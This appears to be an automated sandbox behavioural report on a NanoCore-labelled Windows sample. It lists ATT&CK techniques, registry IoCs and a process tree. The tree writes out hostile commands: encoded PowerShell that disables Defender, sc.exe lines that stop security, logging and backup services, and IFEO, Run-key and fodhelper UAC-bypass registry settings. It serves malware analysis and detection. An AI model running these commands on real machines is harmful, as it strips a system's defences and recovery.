nanocore | a3679db205fcfb0b3fa9c16f06e96711090e61501d4d46e24ab91f83e6b4cd93

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	cakhiatvvs.live_nano.exe

Modifies security service 2 TTPs 1 IoCs

Modify Registry

Windows Service

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Start = "4"	cakhiatvvs.live_nano.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1788	powershell.exe

Disables RegEdit via registry modification 1 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	cakhiatvvs.live_nano.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	cakhiatvvs.live_nano.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	cakhiatvvs.live_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\cakhiatvvs.live_nano.exe"	cakhiatvvs.live_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	cakhiatvvs.live_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\cakhiatvvs.live_nano.exe"	cakhiatvvs.live_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	cakhiatvvs.live_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\cakhiatvvs.live_nano.exe"	cakhiatvvs.live_nano.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

Windows Service

Disable or Modify System Firewall

T1562.004

pid	Process
2208	netsh.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

persistence privilege_escalation

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000\Control Panel\International\Geo\Nation	cakhiatvvs.live_nano.exe

Creates a file in the Startup directory 1 TTPs 3 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SysUpdate.exe	cakhiatvvs.live_nano.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SysUpdate.exe	cakhiatvvs.live_nano.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\system.bat	cakhiatvvs.live_nano.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\cakhiatvvs.live_nano.exe"	cakhiatvvs.live_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\cakhiatvvs.live_nano.exe"	cakhiatvvs.live_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\cakhiatvvs.live_nano.exe"	cakhiatvvs.live_nano.exe

Creates a new local user account 1 TTPs 2 IoCs

Uses net.exe to create a new local user account, often for persistence or a backdoor account.

persistence

Local Account

T1136.001

pid	Process
1368	net.exe
4068	net1.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
4552	tasklist.exe

Drops file in System32 directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\ntdll.dll	cakhiatvvs.live_nano.exe
File opened for modification	C:\Windows\system32\user32.dll	cakhiatvvs.live_nano.exe
File created	C:\Windows\system32\svchost.exe	cakhiatvvs.live_nano.exe
File created	C:\Windows\system32\sysupdate.exe	cakhiatvvs.live_nano.exe
File opened for modification	C:\Windows\system32\sysupdate.exe	cakhiatvvs.live_nano.exe
File opened for modification	C:\Windows\system32\kernel32.dll	cakhiatvvs.live_nano.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
2924	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	cakhiatvvs.live_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	cakhiatvvs.live_nano.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 TTPs 1 IoCs

persistence privilege_escalation

Debugger Evasion

T1622

pid	Process
2380	cakhiatvvs.live_nano.exe

Launches sc.exe 28 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4132	sc.exe
3932	sc.exe
4404	sc.exe
4344	sc.exe
2168	sc.exe
4620	sc.exe
4228	sc.exe
3312	sc.exe
4744	sc.exe
1216	sc.exe
3208	sc.exe
2800	sc.exe
3628	sc.exe
3692	sc.exe
4572	sc.exe
1596	sc.exe
4592	sc.exe
4472	sc.exe
1696	sc.exe
1848	sc.exe
1396	sc.exe
4116	sc.exe
1772	sc.exe
1160	sc.exe
1368	sc.exe
532	sc.exe
2900	sc.exe
4844	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 6 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1412	cmd.exe
4932	cmd.exe
3308	cmd.exe
744	cmd.exe
4292	cmd.exe
3140	cmd.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	cakhiatvvs.live_nano.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	cakhiatvvs.live_nano.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
3032	netsh.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
1444	ipconfig.exe
1932	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
1908	systeminfo.exe

Interacts with shadow copies 3 TTPs 2 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
4488	vssadmin.exe
2976	vssadmin.exe

Modifies Control Panel 1 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000\Control Panel\Desktop\WallpaperStyle = "2"	cakhiatvvs.live_nano.exe

Modifies registry class 16 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\ms-settings\shell\open\command	cakhiatvvs.live_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	cakhiatvvs.live_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	cakhiatvvs.live_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\cakhiatvvs.live_nano.exe\" \"%1\""	cakhiatvvs.live_nano.exe
Key created	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\ms-settings\shell	cakhiatvvs.live_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\ms-settings\shell\open\command\DelegateExecute	cakhiatvvs.live_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	cakhiatvvs.live_nano.exe
Key deleted	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\ms-settings\shell\open\command	cakhiatvvs.live_nano.exe
Key deleted	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\ms-settings	cakhiatvvs.live_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\cakhiatvvs.live_nano.exe"	cakhiatvvs.live_nano.exe
Key deleted	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\ms-settings\shell	cakhiatvvs.live_nano.exe
Key created	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\ms-settings	cakhiatvvs.live_nano.exe
Key created	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\ms-settings\shell\open	cakhiatvvs.live_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\.pdf\ = "PDFBotnet"	cakhiatvvs.live_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	cakhiatvvs.live_nano.exe
Key deleted	\REGISTRY\USER\S-1-5-21-895009113-1202185046-1686627690-1000_Classes\ms-settings\shell\open	cakhiatvvs.live_nano.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
4740	schtasks.exe
3592	schtasks.exe
1796	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1788	powershell.exe
1788	powershell.exe
1788	powershell.exe
2380	cakhiatvvs.live_nano.exe
2380	cakhiatvvs.live_nano.exe
2380	cakhiatvvs.live_nano.exe
2380	cakhiatvvs.live_nano.exe
2380	cakhiatvvs.live_nano.exe
2380	cakhiatvvs.live_nano.exe
2380	cakhiatvvs.live_nano.exe
2380	cakhiatvvs.live_nano.exe
2380	cakhiatvvs.live_nano.exe
2380	cakhiatvvs.live_nano.exe
2380	cakhiatvvs.live_nano.exe
2380	cakhiatvvs.live_nano.exe
2380	cakhiatvvs.live_nano.exe
2380	cakhiatvvs.live_nano.exe
2380	cakhiatvvs.live_nano.exe
2380	cakhiatvvs.live_nano.exe
2380	cakhiatvvs.live_nano.exe
2380	cakhiatvvs.live_nano.exe
2380	cakhiatvvs.live_nano.exe
2380	cakhiatvvs.live_nano.exe
2380	cakhiatvvs.live_nano.exe
2380	cakhiatvvs.live_nano.exe
2380	cakhiatvvs.live_nano.exe
2380	cakhiatvvs.live_nano.exe
2380	cakhiatvvs.live_nano.exe
2380	cakhiatvvs.live_nano.exe
2380	cakhiatvvs.live_nano.exe
2380	cakhiatvvs.live_nano.exe
2380	cakhiatvvs.live_nano.exe
2380	cakhiatvvs.live_nano.exe
2380	cakhiatvvs.live_nano.exe
2380	cakhiatvvs.live_nano.exe
2380	cakhiatvvs.live_nano.exe
2380	cakhiatvvs.live_nano.exe
2380	cakhiatvvs.live_nano.exe
2380	cakhiatvvs.live_nano.exe
2380	cakhiatvvs.live_nano.exe
2380	cakhiatvvs.live_nano.exe
2380	cakhiatvvs.live_nano.exe
2380	cakhiatvvs.live_nano.exe
2380	cakhiatvvs.live_nano.exe
2380	cakhiatvvs.live_nano.exe
2380	cakhiatvvs.live_nano.exe
2380	cakhiatvvs.live_nano.exe
2380	cakhiatvvs.live_nano.exe
2380	cakhiatvvs.live_nano.exe
2380	cakhiatvvs.live_nano.exe
2380	cakhiatvvs.live_nano.exe
2380	cakhiatvvs.live_nano.exe
2380	cakhiatvvs.live_nano.exe
2380	cakhiatvvs.live_nano.exe
2380	cakhiatvvs.live_nano.exe
2380	cakhiatvvs.live_nano.exe
2380	cakhiatvvs.live_nano.exe
2380	cakhiatvvs.live_nano.exe
2380	cakhiatvvs.live_nano.exe
2380	cakhiatvvs.live_nano.exe
2380	cakhiatvvs.live_nano.exe
2380	cakhiatvvs.live_nano.exe
2380	cakhiatvvs.live_nano.exe
2380	cakhiatvvs.live_nano.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2380	cakhiatvvs.live_nano.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1788	powershell.exe
Token: SeIncreaseQuotaPrivilege	2868	WMIC.exe
Token: SeSecurityPrivilege	2868	WMIC.exe
Token: SeTakeOwnershipPrivilege	2868	WMIC.exe
Token: SeLoadDriverPrivilege	2868	WMIC.exe
Token: SeSystemProfilePrivilege	2868	WMIC.exe
Token: SeSystemtimePrivilege	2868	WMIC.exe
Token: SeProfSingleProcessPrivilege	2868	WMIC.exe
Token: SeIncBasePriorityPrivilege	2868	WMIC.exe
Token: SeCreatePagefilePrivilege	2868	WMIC.exe
Token: SeBackupPrivilege	2868	WMIC.exe
Token: SeRestorePrivilege	2868	WMIC.exe
Token: SeShutdownPrivilege	2868	WMIC.exe
Token: SeDebugPrivilege	2868	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2868	WMIC.exe
Token: SeRemoteShutdownPrivilege	2868	WMIC.exe
Token: SeUndockPrivilege	2868	WMIC.exe
Token: SeManageVolumePrivilege	2868	WMIC.exe
Token: 33	2868	WMIC.exe
Token: 34	2868	WMIC.exe
Token: 35	2868	WMIC.exe
Token: 36	2868	WMIC.exe
Token: SeDebugPrivilege	2380	cakhiatvvs.live_nano.exe
Token: SeIncreaseQuotaPrivilege	2868	WMIC.exe
Token: SeSecurityPrivilege	2868	WMIC.exe
Token: SeTakeOwnershipPrivilege	2868	WMIC.exe
Token: SeLoadDriverPrivilege	2868	WMIC.exe
Token: SeSystemProfilePrivilege	2868	WMIC.exe
Token: SeSystemtimePrivilege	2868	WMIC.exe
Token: SeProfSingleProcessPrivilege	2868	WMIC.exe
Token: SeIncBasePriorityPrivilege	2868	WMIC.exe
Token: SeCreatePagefilePrivilege	2868	WMIC.exe
Token: SeBackupPrivilege	2868	WMIC.exe
Token: SeRestorePrivilege	2868	WMIC.exe
Token: SeShutdownPrivilege	2868	WMIC.exe
Token: SeDebugPrivilege	2868	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2868	WMIC.exe
Token: SeRemoteShutdownPrivilege	2868	WMIC.exe
Token: SeUndockPrivilege	2868	WMIC.exe
Token: SeManageVolumePrivilege	2868	WMIC.exe
Token: 33	2868	WMIC.exe
Token: 34	2868	WMIC.exe
Token: 35	2868	WMIC.exe
Token: 36	2868	WMIC.exe
Token: SeIncBasePriorityPrivilege	2380	cakhiatvvs.live_nano.exe
Token: SeDebugPrivilege	1932	NETSTAT.EXE
Token: SeDebugPrivilege	2552	whoami.exe
Token: SeDebugPrivilege	4552	tasklist.exe
Token: SeIncreaseQuotaPrivilege	4236	WMIC.exe
Token: SeSecurityPrivilege	4236	WMIC.exe
Token: SeTakeOwnershipPrivilege	4236	WMIC.exe
Token: SeLoadDriverPrivilege	4236	WMIC.exe
Token: SeSystemProfilePrivilege	4236	WMIC.exe
Token: SeSystemtimePrivilege	4236	WMIC.exe
Token: SeProfSingleProcessPrivilege	4236	WMIC.exe
Token: SeIncBasePriorityPrivilege	4236	WMIC.exe
Token: SeCreatePagefilePrivilege	4236	WMIC.exe
Token: SeBackupPrivilege	4236	WMIC.exe
Token: SeRestorePrivilege	4236	WMIC.exe
Token: SeShutdownPrivilege	4236	WMIC.exe
Token: SeDebugPrivilege	4236	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4236	WMIC.exe
Token: SeRemoteShutdownPrivilege	4236	WMIC.exe
Token: SeUndockPrivilege	4236	WMIC.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2380	cakhiatvvs.live_nano.exe

Suspicious use of WriteProcessMemory 60 IoCs

description	pid	Process	procid_target
PID 2380 wrote to memory of 1788	2380	cakhiatvvs.live_nano.exe	84
PID 2380 wrote to memory of 4572	2380	cakhiatvvs.live_nano.exe	86
PID 2380 wrote to memory of 1596	2380	cakhiatvvs.live_nano.exe	88
PID 2380 wrote to memory of 1772	2380	cakhiatvvs.live_nano.exe	90
PID 2380 wrote to memory of 4404	2380	cakhiatvvs.live_nano.exe	92
PID 2380 wrote to memory of 1160	2380	cakhiatvvs.live_nano.exe	94
PID 2380 wrote to memory of 4344	2380	cakhiatvvs.live_nano.exe	96
PID 2380 wrote to memory of 3312	2380	cakhiatvvs.live_nano.exe	98
PID 2380 wrote to memory of 4744	2380	cakhiatvvs.live_nano.exe	100
PID 2380 wrote to memory of 1368	2380	cakhiatvvs.live_nano.exe	189
PID 2380 wrote to memory of 2168	2380	cakhiatvvs.live_nano.exe	104
PID 2380 wrote to memory of 1216	2380	cakhiatvvs.live_nano.exe	106
PID 2380 wrote to memory of 4592	2380	cakhiatvvs.live_nano.exe	108
PID 2380 wrote to memory of 3208	2380	cakhiatvvs.live_nano.exe	110
PID 2380 wrote to memory of 4472	2380	cakhiatvvs.live_nano.exe	191
PID 2380 wrote to memory of 1696	2380	cakhiatvvs.live_nano.exe	114
PID 2380 wrote to memory of 1848	2380	cakhiatvvs.live_nano.exe	116
PID 2380 wrote to memory of 2800	2380	cakhiatvvs.live_nano.exe	118
PID 2380 wrote to memory of 1396	2380	cakhiatvvs.live_nano.exe	190
PID 2380 wrote to memory of 532	2380	cakhiatvvs.live_nano.exe	122
PID 2380 wrote to memory of 3628	2380	cakhiatvvs.live_nano.exe	124
PID 2380 wrote to memory of 4620	2380	cakhiatvvs.live_nano.exe	126
PID 2380 wrote to memory of 2900	2380	cakhiatvvs.live_nano.exe	128
PID 2380 wrote to memory of 4844	2380	cakhiatvvs.live_nano.exe	130
PID 2380 wrote to memory of 4132	2380	cakhiatvvs.live_nano.exe	132
PID 2380 wrote to memory of 2248	2380	cakhiatvvs.live_nano.exe	134
PID 2380 wrote to memory of 4116	2380	cakhiatvvs.live_nano.exe	135
PID 2380 wrote to memory of 4228	2380	cakhiatvvs.live_nano.exe	137
PID 2380 wrote to memory of 4488	2380	cakhiatvvs.live_nano.exe	139
PID 2380 wrote to memory of 2868	2380	cakhiatvvs.live_nano.exe	141
PID 2380 wrote to memory of 1796	2380	cakhiatvvs.live_nano.exe	143
PID 2248 wrote to memory of 952	2248	fodhelper.exe	144
PID 2380 wrote to memory of 4740	2380	cakhiatvvs.live_nano.exe	146
PID 2380 wrote to memory of 4292	2380	cakhiatvvs.live_nano.exe	152
PID 2380 wrote to memory of 744	2380	cakhiatvvs.live_nano.exe	154
PID 2380 wrote to memory of 3308	2380	cakhiatvvs.live_nano.exe	155
PID 2380 wrote to memory of 4932	2380	cakhiatvvs.live_nano.exe	156
PID 2380 wrote to memory of 1412	2380	cakhiatvvs.live_nano.exe	157
PID 2380 wrote to memory of 3140	2380	cakhiatvvs.live_nano.exe	158
PID 2380 wrote to memory of 3592	2380	cakhiatvvs.live_nano.exe	159
PID 2380 wrote to memory of 2924	2380	cakhiatvvs.live_nano.exe	166
PID 1412 wrote to memory of 1444	1412	cmd.exe	167
PID 4292 wrote to memory of 2976	4292	cmd.exe	168
PID 3140 wrote to memory of 1932	3140	cmd.exe	169
PID 4932 wrote to memory of 2552	4932	cmd.exe	171
PID 744 wrote to memory of 1908	744	cmd.exe	172
PID 3308 wrote to memory of 4552	3308	cmd.exe	173
PID 4292 wrote to memory of 4236	4292	cmd.exe	174
PID 2380 wrote to memory of 4324	2380	cakhiatvvs.live_nano.exe	175
PID 2380 wrote to memory of 696	2380	cakhiatvvs.live_nano.exe	176
PID 2380 wrote to memory of 2208	2380	cakhiatvvs.live_nano.exe	178
PID 2380 wrote to memory of 3692	2380	cakhiatvvs.live_nano.exe	179
PID 2380 wrote to memory of 3932	2380	cakhiatvvs.live_nano.exe	180
PID 2380 wrote to memory of 2292	2380	cakhiatvvs.live_nano.exe	181
PID 2380 wrote to memory of 3032	2380	cakhiatvvs.live_nano.exe	183
PID 696 wrote to memory of 748	696	net.exe	188
PID 2380 wrote to memory of 1368	2380	cakhiatvvs.live_nano.exe	189
PID 2380 wrote to memory of 4472	2380	cakhiatvvs.live_nano.exe	191
PID 4472 wrote to memory of 4312	4472	net.exe	193
PID 1368 wrote to memory of 4068	1368	net.exe	194

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\cakhiatvvs.live_nano.exe
"C:\Users\Admin\AppData\Local\Temp\cakhiatvvs.live_nano.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies security service
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Checks computer location settings
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Reads the TCP/IP host and domain name from the registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2380
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1788
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:4572
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:1596
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:1772
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:4404
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:1160
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:4344
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:3312
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:4744
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:1368
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wuauserv start= disabled
  2⤵
  - Launches sc.exe
  PID:2168
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop bits
  2⤵
  - Launches sc.exe
  PID:1216
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config bits start= disabled
  2⤵
  - Launches sc.exe
  PID:4592
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop vss
  2⤵
  - Launches sc.exe
  PID:3208
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config vss start= disabled
  2⤵
  - Launches sc.exe
  PID:4472
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop swprv
  2⤵
  - Launches sc.exe
  PID:1696
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config swprv start= disabled
  2⤵
  - Launches sc.exe
  PID:1848
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop EventLog
  2⤵
  - Launches sc.exe
  PID:2800
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config EventLog start= disabled
  2⤵
  - Launches sc.exe
  PID:1396
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SysmonLog
  2⤵
  - Launches sc.exe
  PID:532
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SysmonLog start= disabled
  2⤵
  - Launches sc.exe
  PID:3628
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop Sysmon
  2⤵
  - Launches sc.exe
  PID:4620
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config Sysmon start= disabled
  2⤵
  - Launches sc.exe
  PID:2900
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop sense
  2⤵
  - Launches sc.exe
  PID:4844
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config sense start= disabled
  2⤵
  - Launches sc.exe
  PID:4132
- C:\Windows\System32\fodhelper.exe
